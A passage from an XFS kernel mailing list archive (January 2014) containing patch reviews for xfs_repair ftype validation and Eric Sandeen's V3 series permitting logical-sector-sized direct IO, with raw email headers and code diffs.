inum, dep->namelen, > - dep->name)) { > + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { > nbad++; > if (entry_junked( > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( > */ > if (no_modify && verify_inum(mp, inum)) > continue; > + > + /* validate ftype field if supported */ > + if (xfs_sb_version_hasftype(&mp->m_sb)) { > + __uint8_t dir_ftype; > + __uint8_t ino_ftype; > + > + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); > + ino_ftype = get_inode_ftype(irec, ino_offset); > + > + if (dir_ftype != ino_ftype) { > + if (no_modify) { > + do_warn( > + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ip->i_ino, inum); > + } else { > + do_warn( > + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ip->i_ino, inum); > + xfs_dir3_dirent_put_ftype(mp, dep, > + ino_ftype); > + libxfs_dir2_data_log_entry(tp, bp, dep); > + dir_hash_update_ftype(hashtab, addr, > + ino_ftype); > + } > + } > + } > + > /* > * check easy case first, regular inode, just bump > * the link count and continue > @@ -2381,7 +2430,8 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > */ > if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) > (sfep - xfs_dir2_sf_firstentry(sfp)), > - lino, sfep->namelen, sfep->name)) { > + lino, sfep->namelen, sfep->name, > + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { > do_warn( > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > fname, lino, ino); > @@ -2403,11 +2453,11 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > * the .. in the child, blow out the entry > */ > if (is_inode_reached(irec, ino_offset)) { > - junkit = 1; > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " references already connected inode %" PRIu64 ".\n"), > fname, ino, lino); > + goto do_junkit; > } else if (parent == ino) { > add_inode_reached(irec, ino_offset); > add_inode_ref(current_irec, current_ino_offset); > @@ -2423,12 +2473,41 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), > irec, ino_offset); > } else { > - junkit = 1; That's the last place we ever set junkit to 1. We have several blocks of code that are skipped over in the junkit case via the goto. The final "don't execute this if junkit" block is skipped by virtue of jumping into the if block. Why not just turn the junkit block into an inline and use a next_sfep label or some such? E.g., ... if (irec == NULL) { tmp_sfep = do_junkit(); goto next_sfep; } ... if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; next_sfep: next_sfep = (tmp_sfep == NULL) ... ... } /* for */ ... Or if we didn't want an inline, retain the flag and push the junkit code after the label. Just a thought. Brian > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " not consistent with .. value (%" PRIu64 > ") in inode %" PRIu64 ",\n"), > fname, ino, parent, lino); > + goto do_junkit; > + } > + } > + > + /* validate ftype field if supported */ > + if (xfs_sb_version_hasftype(&mp->m_sb)) { > + __uint8_t dir_ftype; > + __uint8_t ino_ftype; > + > + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); > + ino_ftype = get_inode_ftype(irec, ino_offset); > + > + if (dir_ftype != ino_ftype) { > + if (no_modify) { > + do_warn( > + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + } else { > + do_warn( > + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, > + ino_ftype); > + dir_hash_update_ftype(hashtab, > + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), > + ino_ftype); > + *ino_dirty = 1; > + } > } > } > > @@ -2518,8 +2597,7 @@ do_junkit: > /* > * sync up sizes if required > */ > - if (*ino_dirty) { > - ASSERT(bytes_deleted > 0); > + if (*ino_dirty && bytes_deleted > 0) { > ASSERT(!no_modify); > libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); > ip->i_d.di_size -= bytes_deleted; > diff --git a/repair/scan.c b/repair/scan.c > index 49ed194..73b4581 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") > for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { > if (XFS_INOBT_IS_FREE_DISK(rp, j)) { > nfree++; > - add_aginode_uncertain(agno, ino + j, 1); > + add_aginode_uncertain(mp, agno, ino + j, 1); > } else { > - add_aginode_uncertain(agno, ino + j, 0); > + add_aginode_uncertain(mp, agno, ino + j, 0); > } > } > } > From david@fromorbit.com Tue Jan 21 15:15:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C0D529DF8 for ; Tue, 21 Jan 2014 15:15:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 032258F8040 for ; Tue, 21 Jan 2014 13:15:33 -0800 (PST) X-ASG-Debug-ID: 1390338928-04cbb05ba94e970001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 8BQJJ7fitUkJXvAE for ; Tue, 21 Jan 2014 13:15:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au4JABHj3lJ5LKVw/2dsb2JhbABagwuDObN3hVCBFRd0giUBAQEEJxMcIxAIAw4KCSUPBSUDIROIBMMQFxaOaQeDJIEUBJghik+HSoNBKIEuJA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 07:44:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W5ieR-0000MS-TD; Wed, 22 Jan 2014 08:14:27 +1100 Date: Wed, 22 Jan 2014 08:14:27 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_repair: add support for validating dirent ftype field Message-ID: <20140121211427.GA27606@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: add support for validating dirent ftype field References: <1390267813-8781-1-git-send-email-david@fromorbit.com> <52DEAA4F.9020509@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52DEAA4F.9020509@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390338928 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 12:11:43PM -0500, Brian Foster wrote: > On 01/20/2014 08:30 PM, Dave Chinner wrote: > > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > > index 96a3c1d..4c8c836 100644 > > --- a/libxfs/xfs_dir2.c > > +++ b/libxfs/xfs_dir2.c > > @@ -20,6 +20,22 @@ > > > > struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; > > > > +/* > > + * @mode, if set, indicates that the type field needs to be set up. > > + * This uses the transformation from file mode to DT_* as defined in linux/fs.h > > + * for file type specification. This will be propagated into the directory > > + * structure if appropriate for the given operation and filesystem config. > > + */ > > +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { > > + [0] = XFS_DIR3_FT_UNKNOWN, > > + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, > > + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, > > + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, > > + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, > > + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, > > + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, > > + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, > > +}; > > > > Using a larger array than technically necessary, but not a big deal I > suppose. Same as the kernel code, and it's really not that big given: #define S_IFLNK 0120000 and so 0120000 >> 12 = 0xa000 >> 0xc = 0xa So it's an array of 11 entries, of which 8 are used. And given that it means the conversion code is just an array lookup, the simplicity is more than worth the 3 wasted bytes in the array... > > @@ -2381,7 +2430,8 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > > */ > > if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) > > (sfep - xfs_dir2_sf_firstentry(sfp)), > > - lino, sfep->namelen, sfep->name)) { > > + lino, sfep->namelen, sfep->name, > > + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { > > do_warn( > > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > > fname, lino, ino); > > @@ -2403,11 +2453,11 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > > * the .. in the child, blow out the entry > > */ > > if (is_inode_reached(irec, ino_offset)) { > > - junkit = 1; > > do_warn( > > _("entry \"%s\" in directory inode %" PRIu64 > > " references already connected inode %" PRIu64 ".\n"), > > fname, ino, lino); > > + goto do_junkit; > > } else if (parent == ino) { > > add_inode_reached(irec, ino_offset); > > add_inode_ref(current_irec, current_ino_offset); > > @@ -2423,12 +2473,41 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > > add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), > > irec, ino_offset); > > } else { > > - junkit = 1; > > That's the last place we ever set junkit to 1. We have several blocks of > code that are skipped over in the junkit case via the goto. The final > "don't execute this if junkit" block is skipped by virtue of jumping > into the if block. Why not just turn the junkit block into an inline and > use a next_sfep label or some such? E.g., Yeah, I could probably do that. I didn't want to rearrange the code too much, that's all. I'll have to post another version anyway, because I realised that I'm not freeing the ftype array in the irec... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Tue Jan 21 16:43:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6898929DF8 for ; Tue, 21 Jan 2014 16:43:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B006304051 for ; Tue, 21 Jan 2014 14:43:44 -0800 (PST) X-ASG-Debug-ID: 1390344223-04cbb05bac52890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id K3qkAU97WhCgF4cX for ; Tue, 21 Jan 2014 14:43:43 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0LMhgq0011613 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 21 Jan 2014 17:43:42 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0LMhfQV005510 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Tue, 21 Jan 2014 17:43:42 -0500 Message-ID: <52DEF81D.4090100@redhat.com> Date: Tue, 21 Jan 2014 16:43:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 0/3 V3] xfs: allow logical-sector sized O_DIRECT for any fs sector size X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH 0/3 V3] xfs: allow logical-sector sized O_DIRECT for any fs sector size Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390344223 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Ok once more with feeling. Patchset to allow sub-fs-metadata-sector-sized DIOs. I have (still) explicitly not changed XFS_IOC_DIOINFO output for now; it still reports the actual minimum sizes and alignments which will be allowed by the filesystem (and block layer beneath it). Thanks, -Eric From sandeen@sandeen.net Tue Jan 21 16:45:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BEE5E29DF8 for ; Tue, 21 Jan 2014 16:45:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1EA28AC004 for ; Tue, 21 Jan 2014 14:44:58 -0800 (PST) X-ASG-Debug-ID: 1390344297-04cbb05baa52950001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id STufCGqWOa0aDtIL for ; Tue, 21 Jan 2014 14:44:57 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 81C0A651A3D1; Tue, 21 Jan 2014 16:44:57 -0600 (CST) Message-ID: <52DEF869.6040107@sandeen.net> Date: Tue, 21 Jan 2014 16:44:57 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 1/3 V3] xfs: clean up xfs_buftarg References: <52DEF81D.4090100@redhat.com> X-ASG-Orig-Subj: [PATCH 1/3 V3] xfs: clean up xfs_buftarg In-Reply-To: <52DEF81D.4090100@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390344297 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Clean up the xfs_buftarg structure a bit: - remove bt_bsize which is never used - replace bt_sshift with bt_ssize; we only ever shift it back Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9fccfb5..b664bce 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -445,7 +445,7 @@ _xfs_buf_find( numbytes = BBTOB(numblks); /* Check for IOs smaller than the sector size / not sector aligned */ - ASSERT(!(numbytes < (1 << btp->bt_sshift))); + ASSERT(!(numbytes < btp->bt_ssize)); ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); /* @@ -1599,8 +1599,7 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { - btp->bt_bsize = blocksize; - btp->bt_sshift = ffs(sectorsize) - 1; + btp->bt_ssize = sectorsize; btp->bt_smask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 1cf21a4..4ef949a 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -93,8 +93,7 @@ typedef struct xfs_buftarg { struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_bsize; - unsigned int bt_sshift; + unsigned int bt_ssize; size_t bt_smask; /* LRU control structures */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..39c38ee 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; + da.d_mem = da.d_miniosz = target->bt_ssize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From sandeen@sandeen.net Tue Jan 21 16:45:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 277AF29DF8 for ; Tue, 21 Jan 2014 16:45:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A0028F808E for ; Tue, 21 Jan 2014 14:45:53 -0800 (PST) X-ASG-Debug-ID: 1390344352-04cb6c7509523b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id k4sgD9YViyehPUKq for ; Tue, 21 Jan 2014 14:45:52 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8CA7F651A3D1; Tue, 21 Jan 2014 16:45:52 -0600 (CST) Message-ID: <52DEF8A0.3090300@sandeen.net> Date: Tue, 21 Jan 2014 16:45:52 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 2/3 V3] xfs: rename xfs_buftarg structure members References: <52DEF81D.4090100@redhat.com> X-ASG-Orig-Subj: [PATCH 2/3 V3] xfs: rename xfs_buftarg structure members In-Reply-To: <52DEF81D.4090100@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390344352 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In preparation for adding new members to the structure, give these old ones more descriptive names: bt_ssize -> bt_meta_sectorsize bt_smask -> bt_meta_sectormask Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index b664bce..a526f8d 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -445,8 +445,8 @@ _xfs_buf_find( numbytes = BBTOB(numblks); /* Check for IOs smaller than the sector size / not sector aligned */ - ASSERT(!(numbytes < btp->bt_ssize)); - ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); + ASSERT(!(numbytes < btp->bt_meta_sectorsize)); + ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_meta_sectormask)); /* * Corrupted block numbers can get through to here, unfortunately, so we @@ -1599,8 +1599,8 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { - btp->bt_ssize = sectorsize; - btp->bt_smask = sectorsize - 1; + btp->bt_meta_sectorsize = sectorsize; + btp->bt_meta_sectormask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { char name[BDEVNAME_SIZE]; diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 4ef949a..d5d88dd 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -93,8 +93,8 @@ typedef struct xfs_buftarg { struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_ssize; - size_t bt_smask; + unsigned int bt_meta_sectorsize; + size_t bt_meta_sectormask; /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..ef0c933 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,7 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (size & target->bt_smask)) { + if ((pos | size) & target->bt_meta_sectormask) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,7 +641,7 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (count & target->bt_smask)) + if ((pos | count) & target->bt_meta_sectormask) return -XFS_ERROR(EINVAL); if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 39c38ee..64ca8e9 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = target->bt_ssize; + da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From sandeen@sandeen.net Tue Jan 21 16:46:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 05FF329E06 for ; Tue, 21 Jan 2014 16:46:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BBBC0304048 for ; Tue, 21 Jan 2014 14:46:25 -0800 (PST) X-ASG-Debug-ID: 1390344384-04bdf030ea5da70001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id En28vBrRAAXvifHG for ; Tue, 21 Jan 2014 14:46:24 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id EAE21651A3D1; Tue, 21 Jan 2014 16:46:23 -0600 (CST) Message-ID: <52DEF8BF.5070106@sandeen.net> Date: Tue, 21 Jan 2014 16:46:23 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT References: <52DEF81D.4090100@redhat.com> X-ASG-Orig-Subj: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT In-Reply-To: <52DEF81D.4090100@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390344384 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Some time ago, mkfs.xfs started picking the storage physical sector size as the default filesystem "sector size" in order to avoid RMW costs incurred by doing IOs at logical sector size alignments. However, this means that for a filesystem made with i.e. a 4k sector size on an "advanced format" 4k/512 disk, 512-byte direct IOs are no longer allowed. This means that XFS has essentially turned this AF drive into a hard 4K device, from the filesystem on up. XFS's mkfs-specified "sector size" is really just controlling the minimum size & alignment of filesystem metadata. There is no real need to tightly couple XFS's minimal metadata size to the minimum allowed direct IO size; XFS can continue doing metadata in optimal sizes, but still allow smaller DIOs for apps which issue them, for whatever reason. This patch adds a new field to the xfs_buftarg, so that we now track 2 sizes: 1) The metadata sector size, which is the minimum unit and alignment of IO which will be performed by metadata operations. 2) The device logical sector size The first is used internally by the file system for metadata alignment and IOs. The second is used for the minimum allowed direct IO alignment. This has passed xfstests on filesystems made with 4k sectors, including when run under the patch I sent to ignore XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly tested end of block behavior on preallocated, sparse, and existing files when we do a 512 IO into a 4k file on a 4k-sector filesystem, to be sure there were no unexpected behaviors. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index a526f8d..5175711 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { + /* Set up metadata sector size info */ btp->bt_meta_sectorsize = sectorsize; btp->bt_meta_sectormask = sectorsize - 1; @@ -1613,6 +1614,10 @@ xfs_setsize_buftarg( return EINVAL; } + /* Set up device logical sector size mask */ + btp->bt_logical_sectorsize = bdev_logical_block_size(btp->bt_bdev); + btp->bt_logical_sectormask = bdev_logical_block_size(btp->bt_bdev) - 1; + return 0; } diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index d5d88dd..9953395 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -88,6 +88,19 @@ typedef unsigned int xfs_buf_flags_t; */ #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ +/* + * The xfs_buftarg contains 2 notions of "sector size" - + * + * 1) The metadata sector size, which is the minimum unit and + * alignment of IO which will be performed by metadata operations. + * 2) The device logical sector size + * + * The first is specified at mkfs time, and is stored on-disk in the + * superblock's sb_sectsize. + * + * The latter is derived from the underlying device, and controls direct IO + * alignment constraints. + */ typedef struct xfs_buftarg { dev_t 